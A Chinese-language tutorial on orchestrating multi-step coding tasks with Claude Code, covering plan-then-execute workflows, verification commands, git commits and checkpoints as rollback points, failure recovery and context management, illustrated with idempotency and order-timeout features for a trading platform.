安全配置和开发效率之间的张力是真实存在的。配置的目标不是把 Claude Code 锁死,而是让它在你明确授权的范围内高效运转,同时在它试图越界时给你机会说"等一下"。

多步骤任务编排

单步与多步的本质差异

前三篇文章建立了使用 Claude Code 的基础认知:Agentic Loop 是它的运行机制,工具是它的感知与执行手脚,权限系统是它的安全边界。把这三者组合在一起,Claude Code 就可以开始处理真实的开发任务了。

但这里有一个隐藏的复杂度层级需要面对。

"帮我给 OrderService.createOrder 方法加个日志"——这是一个单步任务,Claude 读文件、改文件、完成,风险低,容错高,出了问题直接撤销。"帮我给游戏账号交易平台的整个下单链路实现幂等保护,包括 API 层、Service 层、数据库层,补充并发场景的集成测试,最后跑测试验证"——这是一个多步骤任务,涉及十几个文件、若干个模块之间的协调、多轮测试与修正,任何一步偏差都可能让后续的工作建立在错误的基础上。

多步骤任务的挑战不在于 Claude Code 能不能完成,而在于你能不能稳定地引导它完成——不跑偏、不失控、出了问题能快速恢复。这正是任务编排需要解决的问题。


任务拆解:给循环装上骨架

为什么拆解是第一步

Agentic Loop 本质上是贪心的——它在每一轮迭代里选择它认为最合理的下一步。没有全局规划时,这个"最合理的下一步"很可能是局部最优而非全局最优。幂等校验里,它可能选择先实现最复杂的 Service 层逻辑,却没有意识到 API 层的幂等键传递设计还没定下来,导致后续需要反复修改接口定义。

拆解任务的意义,是在执行开始之前就把全局结构确定下来,让循环在一个已知骨架里运转,而不是边走边摸索。

探索—规划—执行:三阶段范式

官方最佳实践推荐把复杂任务分为四个阶段:探索(Plan 模式,只读不写)、规划(生成实施计划)、实现(切回普通模式执行,对照计划验证)、提交(生成 commit 和 PR)。

这四个阶段背后的核心逻辑是:探索和执行不应该混在一起。混在一起的后果是 Claude 在还没摸清项目结构的时候就开始修改文件,修改基于不完整的理解,后续要么返工,要么在错误上叠加更多错误。

在游戏账号交易平台里,给下单链路加幂等保护的任务,正确的展开方式是:

第一步,进入 Plan 模式,让 Claude 把相关模块全部摸一遍:

进入 Plan 模式。读取 order-service 里的以下内容:
- OrderController 的创建订单接口定义
- OrderService 的 createOrder 方法
- OrderMapper 的对应 SQL
- 现有的 Redis 使用方式(搜索 redissonClient)
- 数据库的 order 表结构(找对应的建表 SQL)

理解清楚后,列出一个幂等保护的完整实施方案,
包括每一层需要改哪些文件、改什么内容。

第二步,审查 Claude 给出的方案。这个环节你是主角——检查它对项目的理解有没有偏差,技术选型是否合理,有没有遗漏的边界条件。如有必要,按 Ctrl+G 直接在编辑器里修改它输出的方案文本。

第三步,确认方案后切回普通模式,告诉 Claude 按照刚才的方案开始实施,并明确验证标准。

这个范式在实践中带来的最大价值,是把"你来审查方案"和"Claude 来执行实施"做了清晰的职责分工,避免了"边做边想"模式下最常见的半途返工。

在 Prompt 里内嵌任务结构

除了使用 Plan 模式,另一种拆解方式是在 Prompt 里直接写明任务的结构和顺序:

按照以下顺序实现幂等保护,每完成一步就运行对应的验证命令,
验证通过后再进行下一步:

第一步:在 OrderController 接收 idempotencyKey 请求头,
        传递给 Service 层。验证:用 curl 发请求确认 header 被接收。

第二步:在 OrderService.createOrder 里,用 Redisson 实现
        幂等键检查,有效期 10 分钟。
        验证:写一个单元测试覆盖"首次请求通过、重复请求拦截"两个场景。

第三步:在 order 表加 idempotency_key 唯一索引,作为兜底保护。
        验证:运行 flyway migrate,确认无报错。

第四步:编写并发场景的集成测试,模拟 10 个并发请求,
        验证只有一个成功创建订单。
        验证:mvn test -pl order-service -Dtest=OrderIdempotencyIT

全部完成后,运行完整测试套件:mvn test -pl order-service

这种写法让 Claude 在任务开始前就知道整个执行路径,任务清单会在界面上实时更新状态,你也能随时看到当前进展到第几步。每一步结束前强制执行验证命令,是把校验点嵌入任务结构的关键手段。


校验点:让错误在蔓延前被发现

校验点的本质

多步骤任务里最昂贵的错误,不是错误本身,而是错误被发现的时机太晚。如果幂等键的传递在第一步就设计错了,但这个错误直到第四步跑集成测试才被发现,那么第二、三步的所有工作都建立在错误的基础上,要么全部返工,要么带着债务继续叠加修正。

校验点的作用,是把"错误被发现"这件事提前到每个子任务完成之后,而不是等到整个任务结束时。

把验收标准嵌入任务描述

给 Claude 提供可以用来检验自身工作的方式,是单个最高杠杆的操作。Claude 在能够验证自己的工作时表现会显著变好——运行测试、对比截图、验证输出。没有明确的成功标准,它可能产出看起来正确但实际上有问题的结果,而你变成了唯一的反馈回路,每一个错误都需要你的注意力。

最直接的校验点形式是可执行命令。在 Prompt 里每个子任务后面跟上"验证:运行 xxx 命令,确认输出包含 yyy",Claude 完成修改后会主动执行这条命令,根据输出判断子任务是否真正完成。如果命令失败,它会继续修正,而不是假装完成进入下一步。

对于没有现成测试的场景,可以要求 Claude 先写测试再写实现。测试本身就是校验标准,而且它是可执行的。"先写一个失败的测试,再写让它通过的实现"这个模式在多步骤任务里特别有价值——每一步都有明确的 done 定义,不存在"差不多完成了"的模糊状态。

Git 作为可靠的校验边界

在多步骤任务里,Git 不只是版本控制工具,它也是天然的校验边界。把每个大的子任务和一次 git commit 对应,有几个好处:commit message 迫使对这一步做了什么有清晰的总结;git diff 提供了这一步所有改动的全量视图,方便你审查;一旦后续步骤出问题,git checkout 可以精确回到上一个稳定点,而不是依赖 Claude Code 的 Checkpoint 机制去猜测。

在任务描述里加上"每个步骤完成后,用一句话写 commit message 并提交",Claude 会自动在每个阶段边界做 Git 提交。这个习惯在多步骤任务里的价值远大于单步任务。


Checkpoint:会话级别的快照与回退

Checkpoint 是什么

Claude Code 会在每次用户提示前自动捕获代码的当前状态,作为 Checkpoint。这个安全网让你可以放手执行宏大的、大范围的任务,因为你知道随时可以回到之前的代码状态。每次用户提示都会创建一个新的 Checkpoint,这些 Checkpoint 在会话之间持久保留,在恢复的对话里也可以访问,30 天后自动清理。

按两次 Esc 或运行 /rewind 命令,会打开一个可滚动的提示历史列表,显示整个会话里你发出的每一条提示。选择要回退到的那条提示,然后从四个操作里选择一个:

恢复代码和对话——把代码文件和对话历史都回退到选中的那条提示之前的状态,适合当你发现某个决策方向根本错了,需要从那个节点重新来过。

只恢复对话——回退对话历史,但保留磁盘上当前的代码,适合你想重新描述任务但不想丢弃 Claude 已经写好的代码的情况。

只恢复代码——把代码文件回退到选中节点的状态,但保留后续的对话,适合代码改坏了但你还想参考后续对话里的分析和思路。

从这里压缩——把选中消息之后的所有消息替换成一份 AI 生成的紧凑摘要,选中消息之前的内容保持完整不动。这和 /compact 的区别在于,它不是压缩整个对话,而是只压缩消耗空间的那部分,保留早期上下文的完整细节。

Checkpoint 的局限性

Checkpoint 不追踪 Bash 命令造成的文件改动。如果 Claude Code 运行了 rm file.txtmv old.txt new.txt,这些改动无法通过 Checkpoint 撤销——只有通过 Claude 的文件编辑工具(Edit、Write)产生的改动才被追踪。

这意味着:如果 Claude 执行了数据库迁移、生成了二进制文件、调用脚本修改了配置,这些都不在 Checkpoint 的保护范围内。对于涉及不可逆操作的任务步骤,在执行前用 Git 提交一次是更可靠的保障。

Checkpoint 是会话级别的"本地撤销",Git 是"永久历史"。两者互补而不是互相替代。

Fork:保留原会话同时探索新路径

有时候你不是想撤销,而是想在当前状态的基础上探索一条不同的路径,同时保留原来的会话不受影响。这时候用 Fork:

claude --continue --fork-session

Fork 会创建一个新的会话 ID,把当前对话历史完整复制过来,从这个点开始分叉。原会话完好无损,新会话可以自由探索。这在多步骤任务里特别有用——当你对 Claude 给出的实施方案有两种不同思路想比较时,各 fork 一个会话分别执行,看哪条路走得更顺。


失败恢复:任务断在中途时怎么办

识别三种失败模式

多步骤任务里的失败大致分三类,应对方式各不相同。

技术性失败:测试挂了、编译报错、命令执行失败。这是最容易处理的情况——错误有明确的输出,Claude 通常能自己诊断并修复。关键是在 Prompt 里给它修复的授权:说"如果测试失败,继续修,直到通过为止",而不是"运行测试"。前者触发自修正循环,后者只是执行一次然后停下等你。

方向性失败:Claude 完成了所有步骤,测试也通过了,但实现方案和你预期的完全不同。比如它用了 synchronized 块做并发控制,而你期望用 Redis 分布式锁。这类失败通常是任务描述里约束不够清晰。处理方式是 Rewind 到合适的节点,在 Prompt 里补上遗漏的约束,重新执行。

失控性失败:Claude 开始改越来越多的东西,改动范围从幂等校验蔓延到了整个 Service 层重构,或者它陷入了一个测试-修复的死循环,同一类错误反复出现改不好。这时候应该主动中断,按 Esc 停止当前执行,分析到底是哪里卡住了,再重新组织 Prompt 描述从哪个点继续。

中断与恢复的操作路径

当任务断在中途,不是因为失败,而是因为你临时需要做别的事,或者会话上下文快满了,正确的恢复方式是用 --continue

claude --continue

这会恢复最近的会话,完整的对话历史都在。你可以直接告诉 Claude"我们在做 X,已经完成了前三步,现在从第四步继续",或者让它自己总结当前进度然后继续。

如果会话上下文已经因为大量文件读取和命令输出而接近饱和,在恢复后先运行 /compact 压缩历史,再继续任务。压缩会保留关键的上下文信息,释放大量空间,让后续步骤能正常执行。

让 Claude 在失败后主动告知而不是静默绕过

有一个容易被忽视的 Prompt 设计原则:要明确告诉 Claude 在遇到无法自行解决的问题时停下来告诉你,而不是找变通方案绕过去。

"如果某一步出现了你不确定如何处理的错误,停下来告诉我具体是什么错误,不要自行决定跳过这一步或者改变实现方式"——这句话在任务描述里非常值得加上。否则 Claude 可能为了让任务"完成",悄悄地把一个核心设计降级成简化实现,你直到最后才发现结果不对。


上下文管理:长任务的隐形瓶颈

多步骤任务会消耗大量上下文。每读一个文件、每跑一条命令,返回内容都追加进消息历史。一个涉及十几个文件修改和多轮测试的任务,可能在执行到一半时上下文已经高度饱和,Claude 开始"忘记"任务开头的约束,或者推理质量明显下降。

这是 Claude Code 最重要的资源约束——上下文窗口填满时,Claude 可能开始遗忘早期的指令或犯更多错误。

有几个应对策略可以把这个瓶颈推后。

用子 Agent 隔离探索阶段。子 Agent 在独立的上下文窗口里运行,它的工作不会膨胀主会话的上下文,完成后只把摘要返回给主 Agent。当你需要大范围扫描代码库获取信息时,让子 Agent 去做,而不是让主 Agent 亲自读每一个文件。

在阶段边界主动压缩。每完成一个大的子任务、做完 Git 提交之后,运行 /compact 压缩到目前为止的历史。这会把探索和实施阶段的大量工具调用输出压缩成摘要,腾出空间给后续步骤。

把持久性约束放进 CLAUDE.md。任务开头描述的技术约束——"用 Redisson 不用 Spring Cache"、"测试用 Mockito 不用 PowerMock"——不应该只靠对话历史来传递。把它们写进 CLAUDE.md,这些约束会在每次会话开始时自动加载,不会因为上下文压缩而丢失。


一次完整编排的样子

把以上所有内容连起来,来看游戏账号交易平台里"实现延迟消息处理超时订单"这个任务应该怎么编排。

启动 Plan 模式,先做探索:读取 RocketMQ 的生产者配置、消费者注册方式、现有的订单状态流转逻辑、库存扣减的事务边界。Claude 输出一份完整的实施方案,你审查并确认。

切回普通模式,发出执行 Prompt:

按照刚才的方案执行,分四个阶段:

阶段一:修改 OrderService.createOrder,在订单创建成功后
        发送延迟消息(30 分钟后投递)。
        验证:用单元测试覆盖消息发送逻辑,mvn test -Dtest=OrderServiceTest。
        完成后 git commit。

阶段二:实现 TimeoutOrderConsumer,收到消息后检查订单状态,
        PENDING 状态才执行取消,保证消费幂等。
        验证:单元测试覆盖"正常取消"和"重复消费"两个场景。
        完成后 git commit。

阶段三:取消订单时归还库存,发布 OrderCancelledEvent。
        验证:集成测试确认库存数量在取消后正确恢复。
        完成后 git commit。

阶段四:运行完整测试套件:mvn test -pl order-service
        如果有失败,继续修直到全绿。

如果任何阶段遇到无法确定的设计问题,停下来告诉我,不要自行决定。

四个阶段,每个阶段有明确的验收命令,每个阶段有 Git 提交作为边界,失败有修复授权,歧义有上报机制。这就是一次结构完整的多步骤任务编排。

任务编排能力是阶段二的收尾。它把前三篇文章建立的所有认知——循环机制、工具能力、权限管控——综合应用到实际的开发场景里。掌握了它,你就具备了把 Claude Code 作为真正自主开发伙伴来使用的基础能力。阶段三开始,我们会进入扩展体系:Skills、Hooks 和 MCP,把 Claude Code 从个人工具升级为团队级可复用的工程能力。